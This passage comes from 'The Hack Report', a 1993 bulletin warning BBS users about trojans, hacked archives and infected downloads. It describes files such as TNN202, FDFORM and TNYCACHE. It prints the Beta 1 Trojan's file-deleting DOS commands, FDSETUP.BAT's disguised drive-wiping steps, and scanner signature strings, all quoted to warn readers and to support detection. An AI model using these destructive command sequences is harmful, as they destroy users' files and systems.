  675.   This file supposedly contains an internal file called VIRUS.DAT, which is
  676.   "sometimes unzipped" by the host program, leaving five files behind.
  677.   These five files are 911.COM, YANKEE.COM, SYSLOCK.COM, ANTHRAX.COM, and
  678.   "a program reporting to be an icon viewer/maker called rim300.zip."
  679.   Kevin reports that MicroSoft AntiVirus (part of MS-DOS 6.0) was able to
  680.   detect the infection - from the way it looks, the first 4 files are the
  681.   real things.
  682.  
  683.  
  684.   Ryan Thompson (1:124/2213) reports that one of his users found a file
  685.   calling itself ARJ240, claiming to be the non-beta release of the next
  686.   ARJ archiver.  This immediately trips a flag, since the author of ARJ,
  687.   Robert Jung, has publicly stated that there would never be a version with
  688.   this number (due to an earlier hack by the same name).
  689.  
  690.   In any case, the file appears to be not merely a hack, but a simplistic
  691.   Trojan.  The program that was altered to do the damage was REARJ.EXE.
  692.   When Ryan's user ran it, it copied a file called SINBAUD.EXE to the root
  693.   directory and re-wrote the user's autoexec.bat file to invoke this file.
  694.   The SINBAUD file, according to Ryan's inspection, contained "a few
  695.   hard-coded CHKDSK messages, some stuff for displaying a fake DOS prompt",
  696.   and a few other messages.  He did not run the SINBAUD program, which is
  697.   just as well - the overwrite of the autoexec.bat is enough to merit
  698.   Trojan status.
  699.  
  700.  
  701.   As many of you might know, The Hack Report does not include listings of
  702.   programs designed to "crack" or "register" other programs.  I feel that
  703.   these files don't need the free publicity that they would get from a
  704.   listing in this report, and that the act of listing might make someone go
  705.   out looking for a copy of one of them.  (See Ray Bradbury's short story,
  706.   "Downwind from Gettysburg," from the collection "I Sing the Body
  707.   Electric!", for an insight to your Hack Squad's thinking on this
  708.   subject.)
  709.  
  710.   However, a report from David Jones (1 @ 2950 WWIVnet, Internet address
  711.   87-2950@wwiv.tfsquad.mn.org) merits an exception to this rule.  He has
  712.   found a file called RPIT352C, a copy of the online game "The Pit" with a
  713.   "special program that will automatically register it for you."  Inside
  714.   the archive is a README.COM file that is infected with the Leprosy virus.
  715.  
  716.   This is a good reason to not even download these "cracks" - you never
  717.   know what you're getting into.
  718.  
  719.  
  720.   Rod Fewster (3:640/886) reported in the FidoNet VIRUS Echo on a file
  721.   called TNN202 that he tested.  This file apparently contains at least 3
  722.   files named TNN.EXE, TNN.OV1, and TNN.OV2.  TNN.EXE displays the
  723.   following message:
  724.  
  725.        TNN Anti-Virus (C) 1992-1993 by Syn Labs Inc. Version 2.02.
  726.        Configuring, Please wait....
  727.  
  728.   At this point, the program renames TNN.OV1 to TNN1.EXE, and TNN.OV2 to
  729.   TNN2.COM.  According to Rod, TNN1.EXE is the "RABID" Trojan, while
  730.   TNN2.EXE is the Beta 1 Trojan.  RABID "whacks out your HD's boot sector,"
  731.   apparently filling it with a rather obscene message.  The Beta 1 Trojan,
  732.   on the other hand, executes the following sequence of commands:
  733.  
  734.         C:
  735.         CD DOS
  736.         DEL COMMAND.COM
  737.         CD\
  738.         DEL COMMAND.COM
  739.         RENAME AUTOEXEC.BAT TEMP.BAT
  740.         RENAME CONFIG.SYS AUTOEXEC.BAT
  741.         RENAME TEMP.BAT CONFIG.SYS
  742.         CD DOS
  743.         DEL *.EXE
  744.  
  745.   It then displays its own obscene message on your screen.  Rod says that
  746.   TNN.EXE then displays the following message (edited for television):
  747.  
  748.         GOODBYE D*******. Wave Ta-Ta to your hard disk.
  749.         Next time, dont enter messages to a public echo if you have
  750.         no idea what you are talking about.
  751.         Love David Humes.
  752.  
  753.   Rod's results show that TNN.EXE is simply a "loader" for the two Trojans,
  754.   and not dangerous by itself.  He also states that there are other files
  755.   used to "pad out the archive," which are ancillary files from a program
  756.   called VirusBuster v3.91.
  757.  
  758.   Thanks to Rod for posting his results.  This was definitely a nasty
  759.   little beggar of a Trojan.
  760.  
  761.  
  762.   HW Hinrich Donner forwards reports from Zone 2 of a "trainer" for the
  763.   game Strike Commander which doesn't appear to act as it should.  The
  764.   archive was distributed under the filenames SCTRNUNT and SC-TRN.
  765.   SCTRNUNT contains the following files:
  766.  
  767.              !HIREZ   COM      6888 19.04.93   23:26
  768.              SCTRNUNT EXE      6442 18.04.93   12:49
  769.              UNT      EXE     11431 18.04.93   12:30
  770.              SILVER   NFO        81 19.04.93   23:26
  771.              SWIFT    NFO      3785 18.04.93   12:12
  772.              UNT      NFO     11483 18.04.93   12:26
  773.  
  774.   Note that the SC-TRN archive contents were not forwarded, but the
  775.   following file size and description were:
  776.  
  777.          SC-TRN.ARJ     9129 Strike Commander - Trainer by [UNT]
  778.  
  779.   The file which appears to do the damage, SCTRNUNT.EXE, does so by
  780.   destroying your root directory, partition table, FAT1, and FAT2.
  781.  
  782.  
  783.   Teo Chee Kian (6:600/600) received a file called GIF_TSR which claimed to
  784.   convert .gif files to "Photo-like Graphics."  However, the file is
  785.   actually a compiled batch file which seeks out and deletes all
  786.   "important" files in your DOS, QEMM, WINDOWS, STACKER, and some other
  787.   directories.  It also deletes MSDOS.SYS, IO.SYS, COMMAND.COM, CONFIG.SYS,
  788.   and AUTOEXEC.BAT - it calls ATTRIB.EXE to remove the hidden, system, and
  789.   read-only attributes when necessary.  Definitely a file to avoid.
  790.  
  791.  
  792.   Emmanuel Bataille (2:320/7) forwarded a message from Serge Ayotte
  793.   (Internet, rider@geolser.login.qc.ca) about a possible isolated incident
  794.   of an infected copy of the BNU FOSSIL Driver, version 1.88 beta
  795.   (BNU188B).  The archive Serge found was infected with the Screaming Fist
  796.   650 virus.  Serge goes on to say that the infection is detectable by
  797.   version 104 of McAfee's ViruScan, but not by version 102.
  798.  
  799.   Rod Fewster (3:640/886) reports that there are two other dangerous
  800.   versions of BNU, under the filenames BNU200 and BNU202 (see also the
  801.   "Hacked Files" section of this report).  He says that they are identical
  802.   except for differences in the documentation files and internal messages,
  803.   and that both attack your hard drive's partition table and master boot
  804.   record (MBR).
  805.  
  806.   Note that there is a real version 1.88 beta of BNU, but it was not
  807.   intended for public release, according to the author of BNU, David
  808.   Nugent.  The latest official public release of BNU is v1.70.
  809.  
  810.  
  811.   HW Nemrod Kedem (2:403/138) reports that a new Trojan has been found in
  812.   Israel, named RASPEED.  He forwards the following archive information:
  813.  
  814.   Archive:  RASPEED.ARJ
  815.  
  816.   Name        Length   Method    SF  Size now Mod Date   Time     CRC
  817.   =========== ======== =======  ==== ======== ========= ======== ========
  818.   RASPEED.EXE    29120 Comp-1    37     18242 21 May 93 08:51:14 B9717331
  819.   RASPEED.DOC     4344 Comp-1    66      1443 21 May 93 12:46:36 194BB7EB
  820.   FILE_ID.DIZ      611 Comp-1    57       262 20 May 93 10:13:48 0E680542
  821.   =========== ======== =======  ==== ======== ========= ======== ========
  822.   *total    3    34075 ARJ 4     40%    21310 29 May 93 21:16:56
  823.  
  824.   The program is aimed at RemoteAccess BBS Systems - it copies the
  825.   USERS.BBS file over to a file called JACKLINE.GIF located in the first
  826.   file area listed in your FILES.RA file.  It also adds a description to
  827.   the FILES.BBS file that reads "JACKLINE.GIF (640x480x256)".
  828.  
  829.   This program works with RA v1.11, but not with RA v2.00 gamma.  A full
  830.   text of Nemrod's results can be found in the file RASPEED.RES, part of
  831.   the FILETSTS.LZH archive found in the archive version of The Hack Report.
  832.  
  833.  
  834.   David Snider, a user of Douglas Taylor's system (1:147/1077), reports via
  835.   the FidoNet DIRTY_DOZEN echo on a file called BRE0911.  Apparently, a
  836.   file inside this archive called UPDATE.COM is infected with a virus (no
  837.   name given) which David says is only detectable by MS-DOS 6.0's VSAFE
  838.   program.  The virus in question re-writes your COMMAND.COM file, adding
  839.   to it slowly over a period of time:  a fellow sysop who was infected for
  840.   8 days wound up with a COMMAND.COM file over 70K in size.
  841.  
  842.   According to David's report, there is a legitimate release of this
  843.   program, under the filename BRE0910.  He did not describe what the real
  844.   program was, however, nor did he provide any archive statistics.  All he
  845.   said was that "nothing above BRE0910 is legal".  Shawn McMahon
  846.   (1:206/1701.66) says that this sounds like "Barren Realms Elite," a BBS
  847.   door game.
  848.  
  849.  
  850.   Now, some info on a DEBUG script forwarded by Jack Cross (1:3805/13) from
  851.   the FidoNet BATPOWER echo.  The script, which has generated a great deal
  852.   of discussion, created an archive (LZH) of the program TinyCache
  853.   (filename TNYCACHE), claiming to be a small disk cache.
  854.  
  855.   As soon as the script was posted, folks started reporting symptoms of
  856.   destructive activity:  destroyed FATs and reformatted hard drives were
  857.   been reported after this program was run.
  858.  
  859.   Prior to the publication of the April edition of this report, I tried a
  860.   feeble attempt at analyzing this program myself.  However, as I have said
  861.   before to folks who contact Hack Central Station, I'm a reporter, not an
  862.   AV expert.  So, I forwarded a copy of this script to HW Jeff White of The
  863.   Pueblo Group for testing.  Others ran their own tests, and still others
  864.   forwarded the resulting archive for further testing.  The reports (which
  865.   are _far_ too numerous to credit in their entirety - please accept my
  866.   thanks for your help!) had some similar results, but left some confusion
  867.   as to what this file actually is.
  868.  
  869.   All of the reports indicate that the unarchived file, TNYCACHE.COM, is
  870.   compressed with PKLite and that the PKLite ID header was edited out of
  871.   the resulting file.  Once decompressed, McAfee's SCAN reported that the
  872.   file was infected with the Taiwan3 [T3] virus, and Frisk's F-Prot
  873.   detected the AnitCAD virus.
  874.  
  875.   This is where things get wierd.  Bill Dirks (1:385/17) reported that
  876.   there were two versions of the file - TNYCACHE.EXE and TNYCACHE.COM.  He
  877.   also said that the .exe version is actually a renamed copy of the SCCHECK
  878.   Trojan, and that the .com version is "hacked to include a hacked version
  879.   of the AntiCAD virus."
  880.  
  881.   Bill included the following scanner strings for use with McAfee's SCAN:
  882.  
  883.               "2BC00221200961642E6578652004" Pklited-Anticad
  884.               "46048B4E068B56088B5E0CCD261B" Sccheck-Trojan
  885.  
  886.   The second string can also be used with Frisk's F-Prot as a user string,
  887.   as long as you inform the program that it is a .com/.exe infector.
  888.  
  889.   However, Bob Stettina, a user at 1:382/77, had a different analysis of
  890.   this file, based on a report he says he received from Spencer Clarke of
  891.   McAfee Associates.  Bob also decompressed the PKLited .com file and
  892.   received a Taiwan3 [T3] report from McAfee's SCAN v102.  After this, he
  893.   uploaded the file to McAfee Associates.
  894.  
  895.   The report received from Mr. Clarke said, according to Bob, that this
  896.   file is "a unique/new Trojan, and it is *NOT* actually infected with a
  897.   virus:  rather, this Trojan includes a segment of code that is
  898.   accidentally 'recognized' by SCAN as the Taiwan3 virus."  The report also
  899.   stated that other scanners gave off false alarms on this file.  Finally,
  900.   Bob goes on to say that this file does not replicate:  since the ability
  901.   to reproduce is part of the basic definition of a virus, Bob concludes
  902.   that this one fails that test and is therefore a Trojan.
  903.  
  904.   HW Jeff White's test results tended to agree with the majority of the
  905.   reports:  the .com file was simply infected with the Taiwan3 [T3] virus,
  906.   and was capable of being "cleaned" by McAfee's Clean-Up v102.
  907.  
  908.   This has been a fascinating study in program analysis.  Unfortunately,
  909.   the story does not end here.  Oliver Bladek (1:134/49) has found the file
  910.   posted as an archive on a BBS under the filename TNYCACHE.  The file
  911.   exhibited the same symptoms reported above.  It would seem, therefore,
  912.   that whatever the program actually is, be it virus, Trojan, or whatever,
  913.   it has been re-created from the DEBUG script by someone, not run on their
  914.   system, and later absent-mindedly uploaded as an archive to a BBS.  If
  915.   you see this file, make sure it's the same one we're talking about here:
  916.   if it is, delete first and ask questions later.
  917.  
  918.  
  919.   Andy Thomas (1:125/217) forwarded a report from Allan Thomas (Smartnet
  920.   Virus Conference) about an infected copy of the archive BBSLAWS.  The
  921.   archive contained two files - NEWLAWS.TXT and README.COM.  The .txt file
  922.   seemed to be for real, but the .com file was another story.  According to
  923.   Allan, the program displays the following message just before it locks up
  924.   your system:
  925.  
  926.       "Install v1.0 (c) Vivid Imaginations, Ltd.  All rights reversed."
  927.  
  928.   As Allan points out, note the spelling of the last word in the above
  929.   quote:  quite subtle.  The damage you will find after you reboot is not
  930.   so subtle, though - the program at least overwrites your MBR and 1st FAT,
  931.   deletes itself, and overwrites the remnants of itself with garbage to
  932.   hide the evidence.  When it overwrites itself, it writes enough bytes to
  933.   cover every sector it used to occupy, resulting in a write of more bytes
  934.   than the original file size.
  935.  
  936.  
  937.   Paul Harney (1:107/579) forwarded a message from a user, Rod Fewster,
  938.   concerning a sighting of something claiming to be PKZip v2.04I.  The
  939.   file, a self-extracting archive called PKZ204I, shows a "valid"
  940.   authenticity verification on unpacking.  However, Rod says both the
  941.   internal files PKZIP.EXE and PKUNZIP.EXE "whack out your CMOS settings
  942.   totally as soon as they're run."  No other damage was reported.
  943.  
  944.   Here are the vital stats, as provided by Rod:
  945.  
  946.         "Archive date is 02-22-93 20:35.
  947.  
  948.         "All files are dated 02-22-93 02.04 except pkunzip.exe
  949.          which is dated 02-22-93 20:34."
  950.  
  951.   Rod also provided a comparison between v2.04g and this file's
  952.   executables:
  953.  
  954.         "v2.04g filesizes are:  pkzip.exe 42166   pkunzip.exe 29378
  955.          v2.04i filesizes are:  pkzip.exe 42186   pkunzip.exe 29398"
  956.  
  957.  
  958.   Chuck Gustafson (1:2201/33) forwarded to the FidoNet echo DIRTY_DOZEN a
  959.   report from Brian Buchanan (Brian Buchanan #1 @8251 VirtualNET) about the
  960.   file FDFORM.  This appears to be an isolated incident of a Trojan version
  961.   of the legitimate program FDFormat.  The .zip archive was only 13106
  962.   bytes long, and contained the files FDOCS.PAK (317 bytes), FDFORMAT.PAK
  963.   (11366 bytes), and FDSETUP.BAT (174 bytes).  The .bat file contains the
  964.   following commands:
  965.  
  966.                   @echo off
  967.                   cls
  968.                   echo Analizing system configuration...
  969.                   @echo off
  970.                   ren fdocs.pak fd.exe
  971.                   echo Unpacking files...
  972.                   echo (This may take a few minutes)
  973.                   fd c:\
  974.                   fd d:\
  975.                   fd e:\
  976.  
  977.   The problem here is that the file FDOCS.PAK is actually a renamed copy of
  978.   a program called NHUE, which according to Brian is a utility that deletes
  979.   all files and sub-directories in the directory specified on the command
  980.   line.  If you look at what happens in the .bat file, you'll note that
  981.   NHUE, originally renamed FDOCS.PAK, is re-renamed to FD.EXE and is called
  982.   for drives C: through E:, potentially wiping out everything on these
  983.   drives.
  984.  
  985.  
  986.   Lee Noga (1:3618/23), apparently one of the folks associated with the
  987.   PowerPak Gold '92 Shareware CD-ROM disk, asked that I help warn folks of
  988.   a Trojan file on their disk called MWARS20.  This file, which has been
  989.   seen in other locations, contains two files, DEMO.EXE and READTHIS.COM,
  990.   which appear to be the main culprits.  According to a report from Scott
  991.   Catterill (Intelec PC-Security conference, via HW Bill Lambdin and based
  992.   on info from Dave Comeau), both files contain the following text:
  993.  
  994.     eat this. REVENGE!. Melting Memory!. Maybe next time, you won't steal
  995.     people's Passwords and get them ****** off at you... I hope you backed
  996.     up your hard drive!
  997.  
  998.   Scott says both will try to low-level format your hard drive.  However,
  999.   according to Lee Noga's report, the program acts a bit differently.  The
  1000.   copy on the PowerPak CD-ROM contains the following files:
  1001.  
  1002.                        MWARS.BAT      128     07/17/92
  1003.                      MWARS20.EXE    15864     02/15/92
  1004.                      MWARS20.DOC     2058     07/17/92
  1005.                         NOTE.DOC      309     01/01/80
  1006.                          YANG.ME      121     07/17/92
  1007.                      INSTALL.EXE    39080     06/14/90
  1008.                         DEMO.EXE     5470     04/22/90
  1009.                      DOMENOW.COM      937     09/24/90
  1010.                     READTHIS.COM     5470     04/22/90
  1011.  
  1012.   Lee says the program does its damage via the .bat file, via DEMO.COM, and
  1013.   via DOMENOW.COM - all three are dangerous, as they will scramble your
  1014.   hard drive's FAT table.  The same message as Scott reports will appear,
  1015.   but if you reboot during its display, you may be able to abort the
  1016.   Trojan's damage.  Lee also notes that the game itself was untouched:  if
  1017.   you don't invoke it via the .bat file, it will run just fine.  Bizarre.
  1018.  
  1019.   (Editorial - I appreciate the effort taken by vendors to inform the
  1020.   public of a problem with their product.  Even if the publicity hurts
  1021.   sales, the loss can't be worse than the potential loss caused by a
  1022.   perception that a company doesn't care about whether or not their product
  1023.   is dangerous.  This is not an indictment of _any_ company or author:  it
  1024.   is merely intended to encourage companies and authors to report attacks
  1025.   against and/or problems with their products as soon as they learn of
  1026.   them.  My life would be _so_ much easier. <g>  -lj)
  1027.  
  1028.  
  1029.   Tom Guelker (1:2250/26) posts in the FidoNet DIRTY_DOZEN echo a report of
  1030.   a Trojan called SINBAD.  It claims to be a file transfer protocol
  1031.   utility, but it actually throws your system into a perpetual loop by
  1032.   overwriting your AUTOEXEC.BAT file.  The new AUTOEXEC.BAT (as well as
  1033.   SINBAD.EXE) becomes read-only and invokes SINBAD.EXE, which again
  1034.   overwrites AUTOEXEC.BAT with the same info (apparently turning off the
  1035.   read-only bit first <?>), etc. ad nauseum.  Definitely sounds irritating,
  1036.   but not dangerous unless you don't have a copy of your original
  1037.   AUTOEXEC.BAT file:  you can bypass the loop by booting from a known
  1038.   clean, write-protected system disk, and then use a utility such as the
  1039.   MS-DOS 4.01 and above ATTRIB.EXE to remove the read-only bit.  This will
  1040.   allow you to delete the offending .bat file and replace it with a copy of
  1041.   your original, or to re-write it if you didn't have a backup.
  1042.  
  1043.  
  1044.   Henry Shaw (1:261/1177, via Jack Cross, 1:3805/13) reports on TAGCRASH, a
  1045.   supposed utility or crack of some sort for TAG BBS systems.  Henry says
  1046.   the archive contained the internal file TAGUTIL.COM, which started off in
  1047.   your \BBS directory and "worked its way through the obvious choices of
  1048.   \TAG and \MULTI till it found all the .DAT files, .LST files and
  1049.   everything else that pertained to a TAG board."  These files would be
  1050.   deleted when found.  An easy way to trash a TAG system, Henry says.
  1051.  
  1052.  
  1053.   HW Richard Steiner forwarded a message from the ILink Shareware_Support
  1054.   conference by Bob Feldman concerning an archive named HSDIAG.  Bob stated
  1055.   that this file is a Trojan.  Bob posted further details on the ILink
  1056.   Virus conference (forwarded by HW Bill Lambdin), and also sent a copy of
  1057.   the file to R. Wallace Hale, SysOp of the Driftnet BBS ((506)325-9002).
  1058.   Mr. Hale did preliminary testing of the file, and was able to determine
  1059.   that it will at least try to overwrite the first 255 sectors on the first
  1060.   eight drives in a system, including floppy drives.  For the full text of
  1061.   Mr. Hale's report, as forwarded by HW Bill Lambdin and James FitzGibbon
  1062.   (1:250/301), please obtain the archive version of The Hack Report and see
  1063.   the file HSDIAG.RES, located inside the internal archive FILETSTS.LZH.
  1064.  
  1065.  
  1066.   HW Jeff White received a file for testing called ANSIVIEW.COM, which has
  1067.   apparently been seen inside a couple of archives, most often ANSI
  1068.   collections.  The copy Jeff received for testing is infected with the
  1069.   AIDS [N1] virus, and cannot be disinfected by either McAfee's Clean-Up or
  1070.   the AIDSOUT utility.  The infection is detectable by McAfee's SCAN.  Yet
  1071.   another of The Hack Squad's 2048 reasons to check everything you download
  1072.   for viruses.
  1073.  
  1074.  
  1075.   HW Scott Raymond has cleared up a discrepancy that I had in previous
  1076.   reports concerning the file BWAVE_3.  This was listed as a hack of the
  1077.   Blue Wave Offline Reader, but according to the report received by Scott
  1078.   from a user in Australia, the file is actually a Trojan.  The user in
  1079.   Australia reported that the Trojan trashed partitions and boot sectors,
  1080.   in addition to attacking RemoteAccess BBS data files.  According to
  1081.   Scott, this is the same file reported by Frans Hagelaars (2:512/2).
  1082.   Please note that this Trojan was discovered prior to the release of
  1083.   BWAVE212, version 2.12 of the reader.
  1084.  
  1085.   More Australian sightings come from Greg Miller (3:711/454), via HW
  1086.   Emanuel Levy, and Nigel Hunt (3:712/218).  No archive name was given, but
  1087.   the file again claimed to be version 3.0 of Blue Wave.  It didn't exhibit
  1088.   any dangerous behaviour, but it does seem to at least be related to the
  1089.   above file:  it doesn't do QWK packets (v2.12 does), and it has no delay
  1090.   screen for unregistered users.
  1091.  
  1092.  
  1093.   Vincent Aniello (aniello@gauss.rutgers.edu) reported a "back door" for
  1094.   use when logging onto Renegade BBS systems.  This file, RGBACKDR, claims
  1095.   to allow you to log onto any Renegade board with SysOp privileges.
  1096.   Instead, it makes a beeline for several key files on _your_ system and
  1097.   deletes them.  For the full text of the test results, as performed by HW
  1098.   Jeff White of The Pueblo Group, see the file RGBACKDR.RES in the archive
  1099.   FILETSTS.LZH, found in the archive version of The Hack Report.
  1100.  
  1101.  
  1102.   Maynard Marquis (1:141/328) forwarded a message to the FidoNet Int'l Echo
  1103.   WARNINGS from Joel Lambert about a file called TW-CHEAT.  This claims to
  1104.   be a cheat file for Tradewars 2002, and contains the following files:
  1105.  
  1106.                   TW-CHEAT EXE      6306 03-09-93   9:47p
  1107.                   SIN      COM       535 03-09-93   9:47p
  1108.  
  1109.   He did not say which file he ran, but one of these displayed "some
  1110.   unrelated menu" and then returned to DOS.  Apparently, Joel later
  1111.   rebooted, at which point the BOOTSAFE program (part of Central Point
  1112.   Antivirus) reported that his system had been infected with the Tequila
  1113.   virus.  Fortunately, he was able to remove the infection.  He hopes.  I
  1114.   hope so too, for his sake.
  1115.  
  1116.  
  1117.   Michael Heinbockel (2:242/316) found a file on a BBS in Hamburg, Germany,
  1118.   called PARITY.  This file renames your AUTOEXEC.BAT file to AUTOEXEC.BAK,
  1119.   creates a new AUTOEXEC.BAT file with the single line C:\DOS\PARITY.EXE,
  1120.   and then tries to copy itself to your C:\DOS\ directory.  It usually
  1121.   hangs the system during the copy attempt, resulting in the file not being
  1122.   copied.  It may be a Trojan that doesn't work, but it is still a Trojan.
  1123.  
  1124.  
  1125.   Several reports came in on yet another Trojan attack against McAfee's
  1126.   SCAN - this time, under the filename SCANV103.  The first report came via
  1127.   Eugene Woiwod (Eugen_Woiwod@mindlink.bc.ca), and full test results were
  1128.   later received from Bill Logan of The Pueblo Group (via HW Jeff White).
  1129.   As a result of this Trojan, McAfee Associates decided to skip version
  1130.   number 103, using number 104 as the release which followed SCANV102.  For
  1131.   a full text of Bill's test results, see the file SCANV103.RES in the
  1132.   archive FILETSTS.LZH, found in the archive version of The Hack Report.
  1133.  
  1134.  
  1135.   Staale Fagerland (staale.fagerland@euronetis.no) reported a file called
  1136.   CES_402, which claimed to be an antiviral program.  However, the archive
  1137.   contains two files (CES.COM and DONT_!) which are quite suspicious.
  1138.   Staale ran the CES.COM file through a program called CHK4BOMB and
  1139.   discovered that it uses ROM BIOS routines for direct disk access.  The
  1140.   file DONT_! contains several messages that relate to corrupting your FAT,
  1141.   partition table, etc., and the message, "Mate(s), it simply makes sense,
  1142.   make a backup...".
  1143.  
  1144.  
  1145.   Ashley Kleynhans (5:7101/55) reports a Trojan called DREAMDEM, which
  1146.   claims to be a demo of some sort by a computer group.  According to
  1147.   Ashley, the group named in the file descriptions is not responsible for
  1148.   creating this Trojan.  When run, the file displays several messages,
  1149.   including ones like, "found PC Speaker," "Found porno GIFs," etc., and
  1150.   finally asks whether or not you have a sound card.  Ashley answered Yes
  1151.   to this question, and received the response, "OH by the way, I trashed
  1152.   your hard disk about a minute ago."
  1153.  
  1154.   Ashley immediately did a DIR command on the C: drive and saw no immediate
  1155.   damage.  However, the entire disk was gone after a system reset.  Ashley
  1156.   says this is because the Trojan deletes both your hard disk partition
  1157.   table and your boot sector.  I'm not sure if this is right, but I
  1158.   wouldn't want to try it out on my system to verify Ashley's findings.
  1159.  
  1160.   Here is the internal file info:
  1161.  
  1162.                   CHECKANS COM      3585 03-10-93   2:43p
  1163.                   VGADEMO  EXE      8892 04-17-93   7:45p
  1164.                   START    BAT        17 04-17-93   1:33p
  1165.  
  1166.   Ian Douglas (5:7102/119) forwarded further information on what appears to
  1167.   be the same file from a report by Shane Greyvenstein (5:7102/119).  This
  1168.   file, called VGADEM1, apparently managed to delete a lot of Shane's files
  1169.   before he could stop it:  fortunately, it doesn't appear to have trashed
  1170.   Shane's disk.  However, Shane's test revealed that the file was written
  1171.   using two packages called "IntroMaker v3.0" and "Mod-OBJ," but that the
  1172.   files are encrypted so that the copyright messages for these two packages
  1173.   are not visible until after they are decrypted by the host program.
  1174.  
  1175.  
  1176.   Brent Thomas (1:202/226) says in the FidoNet DIRTY_DOZEN echo that his
  1177.   system was "taken down" by a file called DRAGON.  It claimed to be a
  1178.   Public Domain VGA and Sound Blaster supported game.  No symptoms were
  1179.   reported, except that he had to reformat his hard drive.
  1180.  
  1181.   Penny Nebrich (1:369/101) confirms this, saying that the program that was
  1182.   affected was one called Dragon's Shard.  She states that it "created what
  1183.   looked like infinite subdirectories with binary names of I think it was a
  1184.   dir name of 8 chars. McAfee's scan and Virucide just got stuck in an
  1185.   infinite loop. I had to reformat my drive."
  1186.  
  1187.   Bill Roark (RIME Shareware conference, via HW Richard Steiner) verifies
  1188.   that there is a legitimate file called Dragon's Shard, available under
  1189.   the filename DRAGON21.  He also states that the real program is not
  1190.   public domain, but shareware instead.
  1191.  
  1192.   So, what we have here would seem to be a pair of isolated incidents of
  1193.   an altered version of a legitimate program.  As the documentation Bill
  1194.   forwarded states, if you feel you have an altered copy of the program,
  1195.   contact the publishers with your information.  They can be reached at:
  1196.  
  1197.                            Bit Brother Software
  1198.                            c/o Michael Ramsey
  1199.                            #2 Winged Foot Way
  1200.                            Littleton CO 80123
  1201.  
  1202.  
  1203.   Josh Burke (1:138/174) reports, via Charlie Sheridan (1:356/18), Travis
  1204.   Griggs (1:3807/8), and HW Bob Seaborn, a problem with the file PHYLOX2.
  1205.   In what might be an isolated incident, Josh says the file claimed to be a
  1206.   "really cool game, VGA gfx and SB sound."  However, the INSTALL program
  1207.   destroys hard disks.
  1208.  
  1209.   Bob Seaborn received a copy of this file and forwarded it to me - I in
  1210.   turn forwarded it to Bill Logan and HW Jeff White for testing.  As it
  1211.   turns out, there is an internal file called SETUP.EXE that is identical,
  1212.   byte for byte, with the file INSTALL.EXE.  Both will trash your hard
  1213.   drive with amazing speed, according to HW Jeff White.  Also, the file
  1214.   PHYLOX.EXE is flagged as a possible infected file.  For a full text of
  1215.   the test results, see the file PHYLOX.RES in the internal archive
  1216.   FILETSTS.LZH, found in the archive version of The Hack Report.
  1217.  
  1218.  
  1219.   Ryan Tucker (1:290/10) forwards a message from a fellow SysOp, Robert
  1220.   Pedersen, about ASM2PAS.  This claims to create Pascal source code from
  1221.   an .EXE file.  However, from text inside the executable, it appears that
  1222.   this program tries to delete your DOS directory.  It also brags about a
  1223.   certain anti-viral scanner not being able to detect it.
  1224.  
  1225.   Valid point, that:  practically _no_ anti-viral tools detect Trojans,
  1226.   with the exception of Frisk's F-Prot and one or two others.  Even then,
  1227.   the Trojan detection is not complete.  Your best protection against
  1228.   Trojans is a religiously maintained set of backups, preferably done after
  1229.   a check for viruses on your hard drive(s).
  1230.  
  1231.  
  1232.   HW Richard Steiner forwarded a message from the America OnLine GEOWORKS
  1233.   forum about the file GEOCOMM.  The message, from "GW Steve" (a "GeoRep",
  1234.   according to Richard), came from a user of GeoComm named J. S. James, and
  1235.   warned that this archive contains a hacked version of the original
  1236.   GeoComm program.  The file claims to be an "update," but it seems to be a
  1237.   Trojan which will damage your File Allocation Table (FAT).  Not a file to
  1238.   be kept around, it would seem.
  1239.  
  1240.  
  1241.   HW Bill Lambdin reports on LAW22 (no description), which contains the
  1242.   following files:
  1243.  
  1244.        Length    Date    Time    CRC-32  Attr  Name
  1245.        ------    ----    ----   -------- ----  ----
  1246.         22911  02-24-93  14:13  a4b84cc7 --w-  ABOUT.COM
  1247.         13422  02-24-93  14:44  8f0d1e96 --w-  INFO.EXE
  1248.           126  02-24-93  14:50  68c9463a --w-  DESC.SDI
  1249.        ------                                  -------
  1250.         36459                                        3
  1251.  
  1252.   Bill says that ABOUT.COM contains a virus. Scan 102 labels it as BA101,
  1253.   which is a 160 byte-long .COM file infector.  This could be an isolated
  1254.   incident of an infected legitimate file, so thoroughly check any such
  1255.   file you find that has the above files in it before you kill it.
  1256.  
  1257.  
  1258.   Another report from Mr. Lambdin concerns a file that a user in the
  1259.   Intelec PC-Security conference sent to him, called PCS204 (PC-Sentry
  1260.   v2.04).  Bill's tests show that this copy of the archive contains two
  1261.   files, INSTALSW.COM and EVERYDAY.COM, that are infected with a
  1262.   non-resident "companion" virus that utilizes the Mutation Engine.  It
  1263.   also contains the file PCS.EXE, which is infected with a virus created by
  1264.   a virus-writing group's "Mass Produce Code Generator."
  1265.  
  1266.  
  1267.   Bill also reports that our old friend, the Power Pump virus, has
  1268.   resurfaced inside a file called FX2.  Here's the archive info:
  1269.  
  1270.                 Length   Date    Time    CRC-32  Attr  Name
  1271.                 ------   ----    ----   -------- ----  ----
  1272.                  25846 01-01-92  00:00  2635e28a --w-  FX2.EXE
  1273.                   1199 01-01-92  00:00  f61885bd --w-  FX2.COM
  1274.                  17354 01-01-92  00:00  02eac55c --w-  POWER.EXE
  1275.                   1007 01-01-92  00:00  139e1291 --w-  FX2.DOC
  1276.                 ------                                 -------
  1277.                  45406                                       4
  1278.  
  1279.   The giveaway here is the file POWER.EXE.  For a full documentation of the
  1280.   Power Pump virus, please see the 1992 Full Archive Edition of The Hack
  1281.   Report (filename HACK92FA), available from most official distribution
  1282.   sites.
  1283.  
  1284.  
  1285.   Travis Griggs (1:3807/8) forwarded a report from a local board called The
  1286.   Forum (phone number 1-318-528-2107) by a user named Susan Pilgreen. The
  1287.   message referred to a file called BOUNCE, which she said was infected
  1288.   with the Beeper (Russian Mirror) virus.  The file, according to Travis,
  1289.   claimed to be a game.  Travis has now forwarded the file information on
  1290.   this archive:
  1291.  
  1292.       Filename       Original DateTime modified CRC-32   Attr BTPMGVX
  1293.       ------------ ---------- ----------------- -------- ----------
  1294.       BOUNCE.COM         4053 80-01-01 00:02:04 35C562AF A--W B 1
  1295.       BOUNCE.DAT       119101 92-11-20 23:16:10 247712A8 A--W B 0
  1296.       BOUNCE.DOC          348 92-11-20 23:21:46 B28557FE A--W B 1
  1297.       ------------ ----------
  1298.           3 files      123502
  1299.  
  1300.  
  1301.   Geoffrey Liu (1:229/15) reports in the FidoNet WARNINGS echo on a file
  1302.   called BWE.  This claims to provide a "quick and easy way to exit
